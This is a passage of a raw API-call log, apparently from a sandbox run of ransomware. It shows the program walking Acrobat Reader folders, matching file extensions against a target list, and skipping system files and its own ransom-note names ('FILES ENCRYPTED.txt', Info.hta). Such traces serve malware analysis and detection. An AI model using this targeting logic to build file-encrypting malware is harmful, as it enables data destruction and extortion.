[0263.774] lstrlenW (lpString=".jpx") returned 4 [0263.774] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0263.774] lstrlenW (lpString=".js") returned 3 [0263.774] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0263.774] lstrlenW (lpString="ui-strings.js") returned 13 [0263.774] lstrlenW (lpString=".love$") returned 6 [0263.774] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0263.774] lstrlenW (lpString="ui-strings.js") returned 13 [0263.774] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0263.774] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0263.774] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0263.774] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0263.775] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0263.775] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0263.775] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0263.775] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0263.775] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\ui-strings.js") returned 119 [0263.775] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.775] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0263.775] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0263.775] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0263.775] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root") returned 104 [0263.775] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root") returned 1 [0263.775] lstrlenW (lpString="root") returned 4 [0263.775] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="root") returned -1 [0263.776] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0263.776] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root") returned 104 [0263.776] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0263.776] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.776] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.776] lstrlenW (lpString="ui-strings.js") returned 13 [0263.776] lstrlenW (lpString=".1cd") returned 4 [0263.776] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.776] lstrlenW (lpString=".3ds") returned 4 [0263.776] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.776] lstrlenW (lpString=".3fr") returned 4 [0263.776] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.776] lstrlenW (lpString=".3g2") returned 4 [0263.776] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.776] lstrlenW (lpString=".3gp") returned 4 [0263.776] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.777] lstrlenW (lpString=".7z") returned 3 [0263.777] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.777] lstrlenW (lpString=".accda") returned 6 [0263.777] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.777] lstrlenW (lpString=".accdb") returned 6 [0263.777] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.777] lstrlenW (lpString=".accdc") returned 6 [0263.777] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.777] lstrlenW (lpString=".accde") returned 6 [0263.777] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.777] lstrlenW (lpString=".accdt") returned 6 [0263.777] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.777] lstrlenW (lpString=".accdw") returned 6 [0263.777] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.777] lstrlenW (lpString=".adb") returned 4 [0263.777] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.777] lstrlenW (lpString=".adp") returned 4 [0263.777] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.777] lstrlenW (lpString=".ai") returned 3 [0263.777] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.777] lstrlenW (lpString=".ai3") returned 4 [0263.777] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.777] lstrlenW (lpString=".ai4") returned 4 [0263.777] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".ai5") returned 4 [0263.778] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".ai6") returned 4 [0263.778] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".ai7") returned 4 [0263.778] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".ai8") returned 4 [0263.778] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".anim") returned 5 [0263.778] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.778] lstrlenW (lpString=".arw") returned 4 [0263.778] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".as") returned 3 [0263.778] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.778] lstrlenW (lpString=".asa") returned 4 [0263.778] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".asc") returned 4 [0263.778] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".ascx") returned 5 [0263.778] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.778] lstrlenW (lpString=".asm") returned 4 [0263.778] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.778] lstrlenW (lpString=".asmx") returned 5 [0263.778] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.778] lstrlenW (lpString=".asp") returned 4 [0263.779] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".aspx") returned 5 [0263.779] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.779] lstrlenW (lpString=".asr") returned 4 [0263.779] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".asx") returned 4 [0263.779] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".avi") returned 4 [0263.779] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".avs") returned 4 [0263.779] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".backup") returned 7 [0263.779] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.779] lstrlenW (lpString=".bak") returned 4 [0263.779] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".bay") returned 4 [0263.779] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".bd") returned 3 [0263.779] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.779] lstrlenW (lpString=".bin") returned 4 [0263.779] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.779] lstrlenW (lpString=".bmp") returned 4 [0263.779] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.780] lstrlenW (lpString=".bz2") returned 4 [0263.780] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.780] lstrlenW (lpString=".c") returned 2 [0263.780] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.780] lstrlenW (lpString=".cdr") returned 4 [0263.780] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.780] lstrlenW (lpString=".cer") returned 4 [0263.780] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.780] lstrlenW (lpString=".cf") returned 3 [0263.780] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.780] lstrlenW (lpString=".cfc") returned 4 [0263.780] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.780] lstrlenW (lpString=".cfm") returned 4 [0263.780] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.780] lstrlenW (lpString=".cfml") returned 5 [0263.780] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.780] lstrlenW (lpString=".cfu") returned 4 [0263.780] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".chm") returned 4 [0263.781] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".cin") returned 4 [0263.781] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".class") returned 6 [0263.781] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.781] lstrlenW (lpString=".clx") returned 4 [0263.781] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".config") returned 7 [0263.781] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.781] lstrlenW (lpString=".cpp") returned 4 [0263.781] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".cr2") returned 4 [0263.781] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".crt") returned 4 [0263.781] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".crw") returned 4 [0263.781] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".cs") returned 3 [0263.781] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.781] lstrlenW (lpString=".css") returned 4 [0263.781] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.781] lstrlenW (lpString=".csv") returned 4 [0263.781] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".cub") returned 4 [0263.782] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dae") returned 4 [0263.782] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dat") returned 4 [0263.782] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".db") returned 3 [0263.782] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.782] lstrlenW (lpString=".dbf") returned 4 [0263.782] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dbx") returned 4 [0263.782] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dc3") returned 4 [0263.782] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dcm") returned 4 [0263.782] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dcr") returned 4 [0263.782] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".der") returned 4 [0263.782] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dib") returned 4 [0263.782] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dic") returned 4 [0263.782] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".dif") returned 4 [0263.782] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.782] lstrlenW (lpString=".divx") returned 5 [0263.783] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.783] lstrlenW (lpString=".djvu") returned 5 [0263.783] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.783] lstrlenW (lpString=".dng") returned 4 [0263.783] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.783] lstrlenW (lpString=".doc") returned 4 [0263.783] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.783] lstrlenW (lpString=".docm") returned 5 [0263.783] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.783] lstrlenW (lpString=".docx") returned 5 [0263.783] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.783] lstrlenW (lpString=".dot") returned 4 [0263.783] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.783] lstrlenW (lpString=".dotm") returned 5 [0263.783] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.783] lstrlenW (lpString=".dotx") returned 5 [0263.783] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.783] lstrlenW (lpString=".dpx") returned 4 [0263.783] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.783] lstrlenW (lpString=".dqy") returned 4 [0263.783] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.783] lstrlenW (lpString=".dsn") returned 4 [0263.783] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.783] lstrlenW (lpString=".dt") returned 3 [0263.783] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.783] lstrlenW (lpString=".dtd") returned 4 [0263.784] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.784] lstrlenW (lpString=".dwg") returned 4 [0263.784] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.784] lstrlenW (lpString=".dwt") returned 4 [0263.784] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.784] lstrlenW (lpString=".dx") returned 3 [0263.784] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.784] lstrlenW (lpString=".dxf") returned 4 [0263.785] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".edml") returned 5 [0263.785] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.785] lstrlenW (lpString=".efd") returned 4 [0263.785] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".elf") returned 4 [0263.785] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".emf") returned 4 [0263.785] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".emz") returned 4 [0263.785] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".epf") returned 4 [0263.785] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".eps") returned 4 [0263.785] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".epsf") returned 5 [0263.785] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.785] lstrlenW (lpString=".epsp") returned 5 [0263.785] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0263.785] lstrlenW (lpString=".erf") returned 4 [0263.785] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0263.785] lstrlenW (lpString=".exr") returned 4 [0263.786] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".f4v") returned 4 [0263.786] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".fido") returned 5 [0263.786] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0263.786] lstrlenW (lpString=".flm") returned 4 [0263.786] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".flv") returned 4 [0263.786] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".frm") returned 4 [0263.786] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".fxg") returned 4 [0263.786] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".geo") returned 4 [0263.786] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".gif") returned 4 [0263.786] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0263.786] lstrlenW (lpString=".grs") returned 4 [0263.787] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0263.787] lstrlenW (lpString=".gz") returned 3 [0263.787] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0263.787] lstrlenW (lpString=".h") returned 2 [0263.787] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0263.787] lstrlenW (lpString=".hdr") returned 4 [0263.787] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0263.787] lstrlenW (lpString=".hpp") returned 4 [0263.787] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0263.787] lstrlenW (lpString=".hta") returned 4 [0263.787] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0263.787] lstrlenW (lpString=".htc") returned 4 [0263.787] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0263.787] lstrlenW (lpString=".htm") returned 4 [0263.787] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0263.787] lstrlenW (lpString=".html") returned 5 [0263.787] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0263.787] lstrlenW (lpString=".icb") returned 4 [0263.787] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0263.787] lstrlenW (lpString=".ics") returned 4 [0263.787] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".iff") returned 4 [0263.788] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".inc") returned 4 [0263.788] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".indd") returned 5 [0263.788] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0263.788] lstrlenW (lpString=".ini") returned 4 [0263.788] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".iqy") returned 4 [0263.788] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".j2c") returned 4 [0263.788] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".j2k") returned 4 [0263.788] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".java") returned 5 [0263.788] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0263.788] lstrlenW (lpString=".jp2") returned 4 [0263.788] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".jpc") returned 4 [0263.788] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".jpe") returned 4 [0263.788] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".jpeg") returned 5 [0263.788] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0263.788] lstrlenW (lpString=".jpf") returned 4 [0263.788] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0263.788] lstrlenW (lpString=".jpg") returned 4 [0263.789] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0263.789] lstrlenW (lpString=".jpx") returned 4 [0263.789] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0263.789] lstrlenW (lpString=".js") returned 3 [0263.789] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0263.789] lstrlenW (lpString="ui-strings.js") returned 13 [0263.789] lstrlenW (lpString=".love$") returned 6 [0263.789] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0263.789] lstrlenW (lpString="ui-strings.js") returned 13 [0263.789] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0263.789] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0263.789] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0263.789] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0263.789] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0263.789] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0263.789] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0263.789] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0263.789] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js") returned 118 [0263.789] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.789] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0263.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0263.790] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0263.790] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru") returned 105 [0263.790] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru") returned 1 [0263.790] lstrlenW (lpString="ru-ru") returned 5 [0263.790] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ru-ru") returned -1 [0263.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0263.790] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru") returned 105 [0263.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0263.791] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.791] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.791] lstrlenW (lpString="ui-strings.js") returned 13 [0263.791] lstrlenW (lpString=".1cd") returned 4 [0263.791] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.791] lstrlenW (lpString=".3ds") returned 4 [0263.791] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.791] lstrlenW (lpString=".3fr") returned 4 [0263.791] lstrcmpiW 